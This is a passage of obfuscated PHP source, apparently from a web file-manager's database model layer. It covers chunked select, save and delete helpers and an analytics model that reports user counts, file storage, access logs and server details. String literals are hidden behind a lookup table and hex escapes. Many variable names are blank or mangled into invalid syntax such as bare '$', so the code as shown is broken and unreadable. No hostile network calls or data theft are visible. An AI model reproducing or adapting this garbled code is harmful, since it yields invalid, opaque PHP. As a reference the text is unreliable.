function cache($ = true, $ = null, $ = '') { $Ө =& $_SERVER[Ǿ]; if (!1 !== $) { $this->options[$Ө[353]] = array($Ө[105] => $, $Ө[343] => $, $Ө[43] => $); } return $this; } public function field($, $҅ = false) { $װ =& $_SERVER[Ǿ]; if (!0 === $) { $Ͱ = $this->getDbFields(); $ = $Ͱ ? $Ͱ : $װ[191]; } elseif ($҅) { if (is_string($)) { $ = explode($װ[60], $); } $Ͱ = $this->getDbFields(); $ = $Ͱ ? array_diff($Ͱ, $) : $; } $this->options[$װ[277]] = $; return $this; } public function scope($∽ = '', $ = NULL) { $˾ =& $_SERVER[Ǿ]; if ($˾[22] === $∽) { if (isset($this->_scope[$˾[47]])) { $͢ɀ = $this->_scope[$˾[47]]; } else { return $this; } } elseif (is_string($∽)) { $ = explode($˾[60], $∽); $͢ɀ = array(); foreach ($ as $) { if (!isset($this->_scope[$])) { continue; } $͢ɀ = array_merge($͢ɀ, $this->_scope[$]); } if (!empty($) && is_array($)) { $͢ɀ = array_merge($͢ɀ, $); } } elseif (is_array($∽)) { $͢ɀ = $∽; } if (is_array($͢ɀ) && !empty($͢ɀ)) { $this->options = array_merge($this->options, array_change_key_case($͢ɀ)); } return $this; } public function where($Ρ, $ = null) { $뒗ל =& $_SERVER[Ǿ]; if (!is_null($) && is_string($Ρ)) { if (!is_array($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $뒗ל[347]), $); $Ρ = vsprintf($Ρ, $); } elseif (is_object($Ρ)) { $Ρ = get_object_vars($Ρ); } elseif (is_array($Ρ)) { foreach ($Ρ as $Ӯ硫 => $) { if ((is_numeric($Ӯ硫) || !$Ӯ硫) && is_string($)) { if (strpos($, $뒗ל[354]) === 0) { continue; } think_trace($뒗ל[355], $뒗ל[22], $뒗ל[59]); die; } } } if (is_string($Ρ) && $뒗ל[22] != $Ρ) { $ = array(); $[$뒗ל[356]] = $Ρ; $Ρ = $; } if (isset($this->options[$뒗ל[279]])) { $this->options[$뒗ל[279]] = array_merge($this->options[$뒗ל[279]], $Ρ); } else { $this->options[$뒗ל[279]] = $Ρ; } return $this; } public function limit($, $ǿ = null) { $ =& $_SERVER[Ǿ]; $this->options[$[296]] = is_null($ǿ) ? $ : $ . $[60] . $ǿ; return $this; } public function page($…ʒ, $ = null) { $䮉 =& $_SERVER[Ǿ]; $this->options[$䮉[357]] = is_null($) ? $…ʒ : $…ʒ . $䮉[60] . $; return $this; } public function comment($) { $this->options[$_SERVER[Ǿ][358]] = $; return $this; } public function setProperty($̗, $ߌϋ) { if (property_exists($this, $̗)) { $this->{$̗} = $ߌϋ; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\x6f\x64\x69\x66\x79\x54\151\x6d\x65", "\164\151\x6d\145", "\151\x6e\163\x65\162\164\54\x75\x70\144\141\x74\x65", "\x66\165\156\x63\x74\151\157\156"), array("\x63\x72\145\x61\164\x65\124\x69\155\x65", "\164\151\x6d\x65", "\x69\156\163\145\162\164", "\x66\165\x6e\x63\164\x69\157\x6e")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($Đ = '', $ꂂ = '', $؅ = '') { parent::__construct($Đ, $ꂂ, $؅); } protected $tableMeta = array(); protected function _beforeInsert(&$ت, $) { $ =& $_SERVER[Ǿ]; if (!$this->checkDataAutoHas($[359])) { return; } $this->dataBeforeFilter($ت, $[359]); } protected function _beforeUpdate(&$, $) { $ =& $_SERVER[Ǿ]; if (!$this->checkDataAutoHas($[360])) { return; } $this->dataBeforeFilter($, $[360]); } protected function _afterSelect(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[Ǿ][361])) { return; } foreach ($ as &$Ѧ) { $this->dataAfterFilter($Ѧ); } unset($Ѧ); } protected function _afterFind(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[Ǿ][361])) { return; } $this->dataAfterFilter($); } public static function textEncode($ڔ) { if (!$ڔ) { return $ڔ; } $ = json_encode($ڔ); $ = preg_replace_callback($_SERVER[Ǿ][362], function ($) { return addslashes($[0]); }, $); return json_decode($); } public static function textDecode($) { $ =& $_SERVER[Ǿ]; $ = json_encode($); $ = preg_replace_callback($[363], function ($) { return $_SERVER[Ǿ][108]; }, $); return json_decode($); } public function setAutoIncrement($젷) { $ = array($this->getPk() => $젷); $ = $this->data($)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $ = $this->getTableName(); $ = $this->max($this->getPk()); $ҫ = $this->query("\163\x68\x6f\167\x20\164\141\x62\154\145\x20\163\164\x61\x74\x75\163\x20\x77\150\145\x72\145\40\116\x61\155\x65\x3d\47{$}\47"); $ = $ҫ[0][$_SERVER[Ǿ][364]]; $ = max($, $); return $; } protected function _callBefore($ۖ, $ᑗ) { return $this->cacheCallCheck($ۖ, $ᑗ, !1); } protected function _callAfter($, $̅) { return $this->cacheCallCheck($, $̅, !0); } protected function cacheFunctionAlias($л) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($︪, $, $ᚡ = false) { $咙 = $this->cacheFunctionAlias($); if (!$咙) { return; } foreach ($咙 as $͉ => $υ) { $ۊ = $υ[0]; $ = explode($_SERVER[Ǿ][60], $υ[1]); if ($︪ == $͉) { return $this->cacheFunctionGet($͉, $ۊ); } if ($ᚡ && in_array($︪, $)) { $this->cacheFunctionClear($͉, $ۊ); } } } public function cacheFunctionGet($𤅌, $) { $МƦ = $this->cacheKeyMake($𤅌, $); $ = Cache::get($МƦ); if (!is_array($)) { $ = call_user_func_array(array($this, $𤅌), array($, !0)); Cache::set($МƦ, $); } return $; } public function cacheFunctionClear($, $) { $ = $; if (!is_array($)) { $ = array($); } foreach ($ as $) { $ = $this->cacheKeyMake($, $); Cache::remove($); } } private function cacheKeyMake($, $) { $하 =& $_SERVER[Ǿ]; return get_class($this) . $하[21] . $ . $하[365] . $; } protected function selectPageReset() { $ =& $_SERVER[Ǿ]; if (isset($GLOBALS[$[366]])) { return; } $GLOBALS[$[366]] = isset($GLOBALS[$[17]][$[367]]) ? $GLOBALS[$[17]][$[367]] : !1; $GLOBALS[$[368]] = isset($GLOBALS[$[17]][$[357]]) ? $GLOBALS[$[17]][$[357]] : !1; $GLOBALS[$[17]][$[367]] = !1; $GLOBALS[$[17]][$[357]] = !1; } protected function selectPageRestore() { $˧ =& $_SERVER[Ǿ]; if (!isset($GLOBALS[$˧[366]])) { return; } $GLOBALS[$˧[17]][$˧[367]] = $GLOBALS[$˧[366]]; $GLOBALS[$˧[17]][$˧[357]] = $GLOBALS[$˧[368]]; if ($GLOBALS[$˧[17]][$˧[367]] === !1) { unset($GLOBALS[$˧[17]][$˧[367]]); } if ($GLOBALS[$˧[17]][$˧[357]] === !1) { unset($GLOBALS[$˧[17]][$˧[357]]); } unset($GLOBALS[$˧[366]]); unset($GLOBALS[$˧[368]]); } protected function selectPage($ޠ = 200, $ = 1) { $ =& $_SERVER[Ǿ]; global $in; $ = $this->optionsValue(); $ = 50000; $ޠ = isset($in[$[367]]) && $in[$[367]] ? $in[$[367]] : $ޠ; if ($ޠ === -1) { $in[$[367]] = !1; $ = 100000000; $ޠ = $; } $в = $; $в[$[369]] = array(); $ޠ = intval($ޠ); $ޠ = $ޠ <= 5 ? 5 : ($ޠ >= $ ? $ : $ޠ); $ = intval(isset($in[$[357]]) && $in[$[357]] ? $in[$[357]] : $); $ = $ <= 1 ? 1 : $; $ɬ = array(); $ːʚ = 1; if ($ == 1 && $ːʚ) { $this->optionsValue($); $ɬ = $this->page($, $ޠ)->select(); $ = is_array($ɬ) ? count($ɬ) : 0; if ($ < $ޠ) { $ϴ = 1; } else { $this->optionsValue($в); $ = intval($this->count()); $ϴ = ceil($ / $ޠ); } } else { $this->optionsValue($в); $ = intval($this->count()); $ϴ = ceil($ / $ޠ); $ = $ >= $ϴ ? $ϴ : $; $this->optionsValue($); $ɬ = $this->page($, $ޠ)->select(); } if (!is_array($ɬ)) { $ɬ = array(); } if ($ϴ == 1) { $ = count($ɬ); } $ʄ = array($[370] => array($[371] => $, $[367] => $ޠ, $[357] => $, $[372] => $ϴ), $[373] => $ɬ); return $ʄ; } protected function checkLength($, $ = 0, $ = '') { $ =& $_SERVER[Ǿ]; $ = $ ? $ : 65536; if (!$ || strlen($) < $) { return; } $ = $ ? $ . $[81] : $[22]; show_json($ . LNG($[374]) . "\50{$}\x29", !1); } protected function metaSet($, $ⷣ = null, $Ռ = null) { $ =& $_SERVER[Ǿ]; if (!$this->tableMeta || !$) { return !1; } $ = $this->tableMeta[$[375]]; $ = $this->tableMeta[$[376]]; $ = Model($); $ = array($ => $, $[377] => $ⷣ); if (is_null($ⷣ)) { return $->where(array($ => $))->delete(); } if (is_null($Ռ) && is_string($ⷣ)) { return $->where($)->delete(); } $ = is_array($ⷣ) ? $ⷣ : array(); if (is_string($ⷣ)) { $[$ⷣ] = $Ռ; } $֋ = array(); foreach ($ as $ => $) { if (is_null($) && is_string($)) { $->where(array($ => $, $[377] => $))->delete(); continue; } $this->checkLength($, !1, $ . $[4] . $); $֋[] = array($ => $, $[105] => $, $[378] => $); } $ = $[379] . $; CacheLock::lock($); $->where(array($ => $))->addAll($֋, array(), !0); CacheLock::unlock($); return !0; } public function metaGet($ؤ, $Ӑﵱ = false) { $ϗ =& $_SERVER[Ǿ]; if (!$this->tableMeta) { return array(); } $ע = $this->tableMeta[$ϗ[375]]; $ = Model($this->tableMeta[$ϗ[376]]); if ($Ӑﵱ) { $ = array($ע => $ؤ, $ϗ[105] => $Ӑﵱ); return $->where($)->getField($ϗ[378]); } $ = array($ע => $ؤ); $Ɋ = $->field($ϗ[380])->where($)->select(); $Ɋ = array_to_keyvalue($Ɋ, $ϗ[105], $ϗ[378]); return $Ɋ; } private function checkDataAutoHas($ܔ) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $֋ٓ) { if (in_array($ܔ, explode($_SERVER[Ǿ][60], $֋ٓ[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$, $֢) { $ؤnj =& $_SERVER[Ǿ]; if (!is_array($)) { return; } foreach ($this->dataAuto as $֦) { $դ = $֦[0]; if (!in_array($֢, explode($ؤnj[60], $֦[2]))) { continue; } switch (trim($֦[3])) { case $ؤnj[325]: case $ؤnj[326]: $Ϻ¦ = $֦[1]; $ = isset($֦[4]) ? (array) $֦[4] : array(); if ($Ϻ¦ == $ؤnj[206] && array_key_exists($դ, $)) { if (!$[$դ]) { unset($[$դ]); } break; } if (isset($[$դ])) { array_unshift($, $[$դ]); } if ($ؤnj[325] == $֦[3]) { $[$դ] = call_user_func_array($Ϻ¦, $); } else { $[$դ] = call_user_func_array(array(&$this, $Ϻ¦), $); } break; case $ؤnj[274]: if (isset($[$դ]) && $[$դ]) { $[$դ] = call_user_func_array(array(&$this, $֦[1]), array($[$դ])); } break; case $ؤnj[277]: $[$դ] = $[$֦[1]]; break; case $ؤnj[298]: if (isset($[$դ]) && !is_string($[$դ])) { $[$դ] = json_encode_force($[$դ]); } break; case $ؤnj[327]: if ($[$դ] === $ؤnj[22]) { unset($[$դ]); } break; case $ؤnj[328]: $[$դ] = $֦[1]; default: break; } } if ($֢ == $ؤnj[359]) { $𴑕 = strtolower($this->db->getDbType()); if (strpos($𴑕, $ؤnj[23]) !== 0) { return; } $ˠ = $this->field(!0)->fields; $ = $ˠ[$ؤnj[256]]; if (isset($ˠ[$ؤnj[255]])) { unset($[$ˠ[$ؤnj[255]]]); } foreach ($ as $Η => $֢) { if (!isset($[$Η])) { $[$Η] = $ؤnj[22]; } } } } private function dataAfterFilter(&$) { $խ =& $_SERVER[Ǿ]; foreach ($this->dataAuto as $Ћ) { $٪ = $Ћ[0]; if (!isset($[$٪])) { continue; } if (!in_array($խ[361], explode($խ[60], $Ћ[2]))) { continue; } switch (trim($Ћ[3])) { case $խ[325]: case $խ[326]: $먤 = isset($Ћ[4]) ? (array) $Ћ[4] : array(); array_unshift($먤, $[$٪]); if (isset($Ћ[4]) && $Ћ[4] == $խ[381]) { $먤 = array($[$٪]); } if ($խ[325] == $Ћ[3]) { $[$٪] = call_user_func_array($Ћ[1], $먤); } else { $[$٪] = call_user_func_array(array(&$this, $Ћ[1]), $먤); } break; case $խ[274]: if (isset($[$٪]) && $[$٪]) { $[$٪] = call_user_func_array(array(&$this, $Ћ[1]), array($[$٪])); } break; case $խ[277]: $[$٪] = $[$Ћ[1]]; break; case $խ[298]: $ = $[$٪]; $[$٪] = json_decode($, !0); if (is_null($[$٪])) { $[$٪] = $; } break; case $խ[327]: if ($[$٪] === $խ[22]) { unset($[$٪]); } break; case $խ[328]: $[$٪] = $Ћ[1]; break; default: break; } } } public function saveAll($Ľ҉) { $Ը =& $_SERVER[Ǿ]; $ƣ = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $Ľ҉ = is_array($Ľ҉) ? $Ľ҉ : array(); $ = $Ը[382]; $ = 0; $ = array(); $ٿ = count($Ľ҉); for ($ї = 0; $ї < $ٿ; $ї++) { $ = $Ľ҉[$ї]; if (!is_array($) || count($) != 4) { continue; } $ = "\125\120\x44\101\124\105\x20\x60{$ƣ}\x60\x20\x53\105\124\40{$[2]}\x20\x3d\40\103\101\123\x45\x20{$[0]}\x20\12"; if ($ == 0) { $ = $; } $[] = $Ը[127] . $[1] . $Ը[127]; $++; $ .= "\x20\x57\x48\x45\x4e\40\47{$[1]}\x27\x20\x54\110\x45\116\40\x27{$[3]}\x27\x20\xa"; if ($ == $ || $ї == $ٿ - 1) { $擮۱ = implode($Ը[60], $); $ .= "\40\105\116\104\40\40\127\110\x45\122\105\40{$[0]}\40\x49\x4e\x20\x28{$擮۱}\51\x20"; $this->execute($); $ = 0; $ = $; $this->chunkEventCheck(count($)); $ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $Ž =& $_SERVER[Ǿ]; $ = $this->tablePrefix . $this->tableName; foreach ($ as $) { if (!is_array($) || count($) != 4) { continue; } $ = $[0] . $Ž[383] . $[1] . $Ž[127]; $ = $[2] . $Ž[383] . $[3] . $Ž[127]; $ä = "\165\x70\144\x61\x74\145\40{$}\x20\163\x65\x74\x20{$}\x20\x77\150\145\162\x65\40{$}\x3b"; $this->execute($ä); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ߡج = false, $ = false) { $this->_chunkEvent = $ߡج; $this->_chunkEventParam = $; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $Ā = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $Ā[$_SERVER[Ǿ][384]] = $; Hook::trigger($this->_chunkEvent, $Ā); } public function addAll($, $㖠 = array(), $ = false) { $ =& $_SERVER[Ǿ]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($[275]); return !1; } $㖠 = $this->_parseOptions($㖠); foreach ($ as $ => $ߑ) { $[$] = $this->_facade($ߑ); $this->_beforeInsert($[$], $㖠); } if (method_exists($this->db, $[276])) { for ($ׄ = 0; $ׄ < count($); $ׄ += $) { $ĭ = array_slice($, $ׄ, $); if (!is_array($ĭ) || count($ĭ) == 0) { break; } $ǽ = $this->db->insertAll($ĭ, $㖠, $); $this->chunkEventCheck(count($ĭ)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $ => $ߑ) { $ǽ = $this->db->insert($ߑ, $㖠, $); } $this->commit(); } if (!1 !== $ǽ) { $ҫ = $this->getLastInsID(); if ($ҫ) { return $ҫ; } } return $ǽ; } public function save($ް = '', $ű = array()) { $¾ =& $_SERVER[Ǿ]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::save($ް, $ű); } $؟ = 0; $ = $[$¾[279]][$][1]; $ = is_array($) ? $ : array(); $ֺ = count($); for ($ = 0; $ < $ֺ; $ += $) { $үܽ = array_slice($, $, $); if (!is_array($үܽ) || count($үܽ) == 0) { break; } $[$¾[279]][$][1] = $үܽ; $this->optionsValue($); $؟ += parent::save($ް, $ű); $this->chunkEventCheck(count($үܽ)); } $this->chunkEventSet(); return $؟; } public function add($ = '', $ = array(), $ = false) { if ($this->addTaskStatus && is_array($)) { $this->addTaskData[] = $; return; } return parent::add($, $, $); } public function parseWhereLike($ײ, $ = '', $ِ = false, &$ = false) { $ =& $_SERVER[Ǿ]; $׼ = $GLOBALS[$[16]][$[385]]; if (!$׼[$[386]]) { return $ײ; } if (!is_array($ײ)) { return $ײ; } $ͽ = array(); $Ņ = 0; foreach ($ײ as $ԛ => $ń) { if (is_array($ń) && count($ń) == 2 && $ń[0] == $[387] && is_string($ń[1]) && substr($ń[1], 0, 1) == $[388] && substr($ń[1], strlen($ń[1]) - 1, 1) == $[388]) { $ = !0; $ = is_string($ԛ) ? $ԛ : $; $ս = substr($ń[1], 1, strlen($ń[1]) - 2); $ս = $this->db->escapeString($ս); if (!strpos($, $[20])) { $ = $[389] . $ . $[389]; } $ = $[191] . $ս . $[191]; if ($׼[$[390]]) { $ = $[391] . $ս . $[392]; if ($׼[$[393]]) { $ = $[392] . $ս . $[391]; } } $ͽ[$Ņ] = $[394] . $ . $[395] . $ . $[396]; $Ņ++; continue; } if (is_array($ń)) { $ = is_string($ԛ) ? $ԛ : $; $ń = $this->parseWhereLike($ń, $, !0, $); } if (is_numeric($ԛ)) { $ͽ[$Ņ] = $ń; $Ņ++; } else { $ͽ[$ԛ] = $ń; } } if ($ && !$ِ) { } return $ͽ; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ = array()) { $ =& $_SERVER[Ǿ]; $۴ = self::SQL_WHERE_IN_CHUNK; $֏޾ = $this->optionsValue(); $ = $this->findWhereField($֏޾); if (!$ || isset($֏޾[$[296]]) || isset($֏޾[$[357]])) { return parent::select($); } $ૼ = $֏޾[$[279]][$][1]; $ૼ = is_array($ૼ) ? $ૼ : array(); $柖ع = null; for ($˞塇 = 0; $˞塇 < count($ૼ); $˞塇 += $۴) { $ˑ = array_slice($ૼ, $˞塇, $۴); if (!is_array($ˑ) || count($ˑ) == 0) { break; } $֏޾[$[279]][$][1] = $ˑ; $this->optionsValue($֏޾); $ = parent::select($); if (!$) { continue; } $柖ع = is_array($柖ع) ? $柖ع : array(); $柖ع = array_merge($柖ع, $); } return $柖ع; } public function delete($ = array()) { $՝ =& $_SERVER[Ǿ]; $Ύ = self::SQL_WHERE_IN_CHUNK; $ۨ = $this->optionsValue(); $ż = $this->findWhereField($ۨ); if (!$ż) { return parent::delete($); } $ެ = 0; $ = $ۨ[$՝[279]][$ż][1]; $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $ += $Ύ) { $ = array_slice($, $, $Ύ); if (!is_array($) || count($) == 0) { break; } $ۨ[$՝[279]][$ż][1] = $; $this->optionsValue($ۨ); $ެ += parent::delete($); } return $ެ; } private function findWhereField($) { $ͼ =& $_SERVER[Ǿ]; $ = self::SQL_WHERE_IN_CHUNK; if (!is_array($) || !is_array($[$ͼ[279]])) { return !1; } foreach ($[$ͼ[279]] as $ў => $樧) { if (is_array($樧) && isset($樧[0]) && is_string($樧[0]) && strtolower($樧[0]) == $ͼ[17] && is_array($樧[1]) && count($樧[1]) > $) { ignore_timeout(); return $ў; } } return !1; } public function setMasterDB($я܊ = true) { think_config($_SERVER[Ǿ][397], $я܊); } } goto c쏸; f: class AnalysisModel extends ModelBaseLight { public function init($) { $ݓ˰ =& $_SERVER[Ǿ]; $ = array($ݓ˰[594] => array($ݓ˰[43] => $ݓ˰[1737], $ݓ˰[277] => array($ݓ˰[229], $ݓ˰[757], $ݓ˰[1738], $ݓ˰[1739])), $ݓ˰[1740] => array($ݓ˰[43] => $ݓ˰[1741], $ݓ˰[277] => array($ݓ˰[229], $ݓ˰[755], $ݓ˰[1742], $ݓ˰[1743], $ݓ˰[1744]))); if (!isset($[$])) { return !1; } $this->optionType = $[$][$ݓ˰[43]]; $this->field = $[$][$ݓ˰[277]]; return !0; } public function listData($ = false, $ߟ = "\x6d\157\x64\151\146\x79\x54\x69\x6d\x65", $Ћ = false) { return parent::listData($, $ߟ, $Ћ); } public function trendList($) { $ؙ =& $_SERVER[Ǿ]; $ƽ = $this->listData(); if ($ƽ) { $ = end($ƽ); $ = date($ؙ[1745], strtotime($ؙ[1746])); if ($[$ؙ[229]] == $) { return $ƽ; } $ڥ = strtotime($[$ؙ[229]]); } if (!isset($ڥ)) { $޻ = $ == $ؙ[594] ? $ؙ[538] : $ؙ[817]; $ڥ = Model($޻)->min($ؙ[203]); } $ = $ؙ[1747] . ucfirst($); $ = $this->dateList($ڥ); foreach ($ as $) { $this->{$}($); } return $this->listData(); } private function dateList($يɼ) { $ =& $_SERVER[Ǿ]; $܄ = $يɼ; $ = strtotime($[1746]); $߁ = array(); while ($܄ <= $) { $߁[] = date($[1745], $܄); $܄ = strtotime($[1748], $܄); } return $߁; } public function _recordUser($Ԯ = '') { $݊ =& $_SERVER[Ǿ]; $Ȋ = strtotime(date($݊[1749], strtotime($Ԯ))); $ = strtotime(date($݊[1750], strtotime($Ԯ))); $ = array($݊[203] => array($݊[998], $)); $иࡉ = Model($݊[538])->where($)->count($݊[1640]); $[$݊[203]] = array($݊[337], array($Ȋ, $)); $ = Model($݊[538])->where($)->count($݊[1640]); $[$݊[43]] = $݊[1751]; $ = Model($݊[1752])->where($)->count($݊[1753]); $÷ = array($݊[229] => $Ԯ, $݊[757] => (int) $иࡉ, $݊[1738] => (int) $, $݊[1739] => (int) $); return $this->insert($÷); } public function _recordStore($Ύ = '') { $ =& $_SERVER[Ǿ]; $© = strtotime(date($[1750], strtotime($Ύ))); $ = array($[203] => array($[998], $©)); $Ҏ = Model($[470])->where($)->sum($[90]); $[$[411]] = 0; $ = Model($[817])->where($)->sum($[90]); $[$[412]] = 1; $䃙 = Model($[817])->where($)->sum($[90]); $[$[412]] = 2; $ = Model($[817])->where($)->sum($[90]); $¡ = array($[229] => $Ύ, $[755] => (int) $, $[1742] => (int) $Ҏ, $[1743] => (int) $䃙, $[1744] => (int) $); return $this->insert($¡); } public function trend($Ն, $) { $ýب =& $_SERVER[Ǿ]; if (!$this->init($Ն)) { return !1; } $բ = $this->trendList($Ն); if ($բ && $ != $ýب[1613]) { $샓 = $բ[0][$ýب[229]]; $ = $this->validDate($, $샓); $ = array(); $օ = array_to_keyvalue($բ, $ýب[229]); foreach ($ as $㖃) { if (isset($օ[$㖃])) { $ű = $օ[$㖃]; } else { $ű = end($բ); $ű[$ýب[229]] = $㖃; if ($Ն == $ýب[594]) { $ű[$ýب[1738]] = $ű[$ýب[1739]] = 0; } } $[] = $ű; } $բ = $; } $ݿ = array($ýب[594] => array($ýب[757] => LNG($ýب[1754]), $ýب[1738] => LNG($ýب[1755]), $ýب[1739] => LNG($ýب[1756])), $ýب[1740] => array($ýب[755] => LNG($ýب[1757]), $ýب[1742] => LNG($ýب[1758]), $ýب[1743] => LNG($ýب[1759]), $ýب[1744] => LNG($ýب[1760]))); $ʓ = array($ýب[594] => $ýب[1761], $ýب[1740] => $ýب[90]); if (empty($բ)) { $㖃 = date($ýب[1745], strtotime($ýب[1746])); $د = array($ýب[229] => $㖃); foreach ($ݿ[$Ն] as $ϼ => $܋) { $د[$ϼ] = 0; } $բ[] = $د; } $ = array(); foreach ($բ as $܋) { if ($Ն == $ýب[1740] && $܋[$ýب[1742]] > $܋[$ýب[755]]) { $܋[$ýب[1742]] = $܋[$ýب[755]]; } foreach ($ݿ[$Ն] as $ϼ => $㊕牤) { $ű = array($ýب[229] => $܋[$ýب[229]], $ýب[1540] => $㊕牤); $ű[$ʓ[$Ն]] = isset($܋[$ϼ]) ? $܋[$ϼ] : 0; $[] = $ű; } } return $; } public function validDate($, $턖) { $ܨ =& $_SERVER[Ǿ]; $󲳦 = date($ܨ[1745], strtotime($ܨ[1746])); $Ҭ = array($󲳦); switch ($) { case $ܨ[1620]: $ے˜ = mktime(0, 0, 0, date($ܨ[1762]), date($ܨ[1358]) - date($ܨ[1421]) + 7 - 7, date($ܨ[1763])); $ = 0; do { $ߐ = date($ܨ[1745], $ے˜ - 3600 * 24 * 7 * $); $Ҭ[] = $ߐ; $++; } while ($턖 < $ߐ); break; case $ܨ[1618]: $ = 1; do { $ = date($ܨ[1764], strtotime("\x2d\40{$}\x20\x6d\x6f\156\x74\150\163")); $Ҭ[] = $; $++; } while ($턖 < $); break; case $ܨ[1765]: $Ř = (int) date($ܨ[1763], strtotime($턖)); $ = (int) date($ܨ[1763]); if ($Ř >= $) { break; } for ($Ř; $Ř < $; $Ř++) { $Ҭ[] = $Ř . $ܨ[1766]; } break; default: break; } if ($턖 > end($Ҭ)) { array_pop($Ҭ); } sort($Ҭ); return $Ҭ; } public function listTable($׋) { $ = ucfirst($׋); return Model($)->listData(); } public function option($ߺ) { $՞ = $_SERVER[Ǿ][1767] . ucfirst($ߺ); return $this->{$՞}(); } private function optionUser() { $ =& $_SERVER[Ǿ]; $㪼Λ = Model($[538])->count($[1640]); $ = Model($[538])->where($[1768])->count($[1640]); $Ǖ = intval($GLOBALS[$[16]][$[353]][$[1596]]) / 3600; $糷 = strtotime("\x2d{$Ǖ}\x20\x68\x6f\x75\162\163"); $ԙ = strtotime(date($[1749])); if ($糷 < $ԙ) { $糷 = $ԙ; } $߷ = array($[1769] => array($[999], $糷)); $ = (int) Model($[538])->where($߷)->count($[1640]); if (!$) { $ = 1; } $߷ = array($[1769] => array($[999], $ԙ)); $ = Model($[538])->where($߷)->count($[1640]); return array($[751] => (int) $㪼Λ, $[1770] => (int) ($㪼Λ - $), $[1771] => (int) $, $[1772] => (int) $, $[1773] => $); } private function optionFile() { $ǖ =& $_SERVER[Ǿ]; $ = $this->sourceSize(); $ = $[$ǖ[90]]; $ޒ = $[$ǖ[1742]]; $ = Model($ǖ[817])->where(array($ǖ[411] => 0))->count($ǖ[403]); $ԥ = array($ǖ[411] => 0, $ǖ[203] => array($ǖ[999], strtotime(date($ǖ[1749])))); $ = Model($ǖ[817])->where($ԥ)->sum($ǖ[90]); $𾊙 = Model($ǖ[817])->where($ԥ)->count($ǖ[403]); return array($ǖ[755] => $, $ǖ[1742] => $ޒ, $ǖ[1774] => $ - $ޒ, $ǖ[1775] => (int) $, $ǖ[757] => (int) $, $ǖ[1776] => (int) $𾊙); } private function optionAccess() { $˲ =& $_SERVER[Ǿ]; return array($˲[751] => $this->typeLogCnt(), $˲[118] => $this->typeLogCnt($˲[118]), $˲[450] => $this->typeLogCnt($˲[450]), $˲[1777] => $this->typeLogCnt($˲[1777]), $˲[1778] => $this->typeLogCnt($˲[1778]), $˲[594] => $this->typeLogCnt($˲[22], $˲[1753])); } private function typeLogCnt($ = '', $Α = "\x69\x64") { $ϒ =& $_SERVER[Ǿ]; $ = array($ϒ[118] => array($ϒ[1779], $ϒ[1780]), $ϒ[450] => array($ϒ[1781], $ϒ[1782]), $ϒ[1777] => array($ϒ[1783], $ϒ[1784], $ϒ[1785]), $ϒ[1778] => array($ϒ[1786], $ϒ[1787]), $ϒ[1788] => array($ϒ[1789], $ϒ[1790], $ϒ[1791])); $ = strtotime(date($ϒ[1749])); $ = array($ϒ[203] => array($ϒ[999], $)); if ($) { $[$ϒ[43]] = array($ϒ[17], $[$]); } $Ӯ = Model($ϒ[1752])->where($)->count($Α); return (int) $Ӯ; } private function optionServer() { $ =& $_SERVER[Ǿ]; $ = $this->diskDriver(); $ں = KodIO::defaultDriver(); $̾ = array($[809] => $ں[$[401]]); $햴َ = Model($[470])->where($̾)->sum($[90]); $蟃 = explode($[63], $_SERVER[$[150]]); $ώʥ = $蟃[0]; $ = $GLOBALS[$[16]][$[31]]; $ = $[$[961]]; if ($ == $[949]) { $ؗ = explode($[1255], $[$[960]]); $ = $ؗ[0]; } if ($ == $[897] || $ == $[796]) { $ = Model()->db()->query($[1792]); $Ն = $[0] && isset($[0][$[1539]]) ? $[0][$[1539]] : 0; $ = $[1793] . ($Ն ? $[18] . $Ն : $[22]); } $ = $GLOBALS[$[16]][$[353]][$[819]]; return array($[1794] => $ ? $[$[1795]] : 0, $[1796] => $ ? $[$[1797]] : 0, $[1798] => (int) $ں[$[1795]] * 1024 * 1024 * 1024, $[1799] => (int) $햴َ, $[1800] => ucfirst($ώʥ), $[1801] => $[1802] . PHP_VERSION, $[1803] => phpBuild64() ? 64 : 32, $[750] => str_replace($[1115], $[977], $), $[353] => ucfirst($), $[42] => $_SERVER[$[1804]]); } private function diskDriver() { $ =& $_SERVER[Ǿ]; $ = $[18]; $ڿ = $GLOBALS[$[16]][$[1271]] == $[1272]; if ($ڿ) { $ = $[1805]; if (function_exists($[1806])) { exec($[1807], $); $ = $[1] . $[18]; } } if (!file_exists($)) { return; } $ = @disk_total_space($); $߮ = $ - @disk_free_space($); return array($[1795] => $, $[1797] => $߮); } public function fileChart($گ) { $ =& $_SERVER[Ǿ]; if (isset($گ[$[1640]])) { return Model($[817])->userFileTypeProfile($گ[$[1640]]); } if (isset($گ[$[1808]])) { return Model($[817])->groupFileTypeProfile($گ[$[1808]]); } $ڗ = $this->sourceSize(); $ڋ¾ = array($[498] => 0, $[412] => 1); $뎁 = Model($[817])->where($ڋ¾)->sum($[90]); $ڋ¾[$[412]] = 2; $ɒ = Model($[817])->where($ڋ¾)->sum($[90]); return array($[755] => $ڗ[$[90]], $[1742] => $ڗ[$[1742]], $[1743] => (int) $뎁, $[1744] => (int) $ɒ); } private function sourceSize() 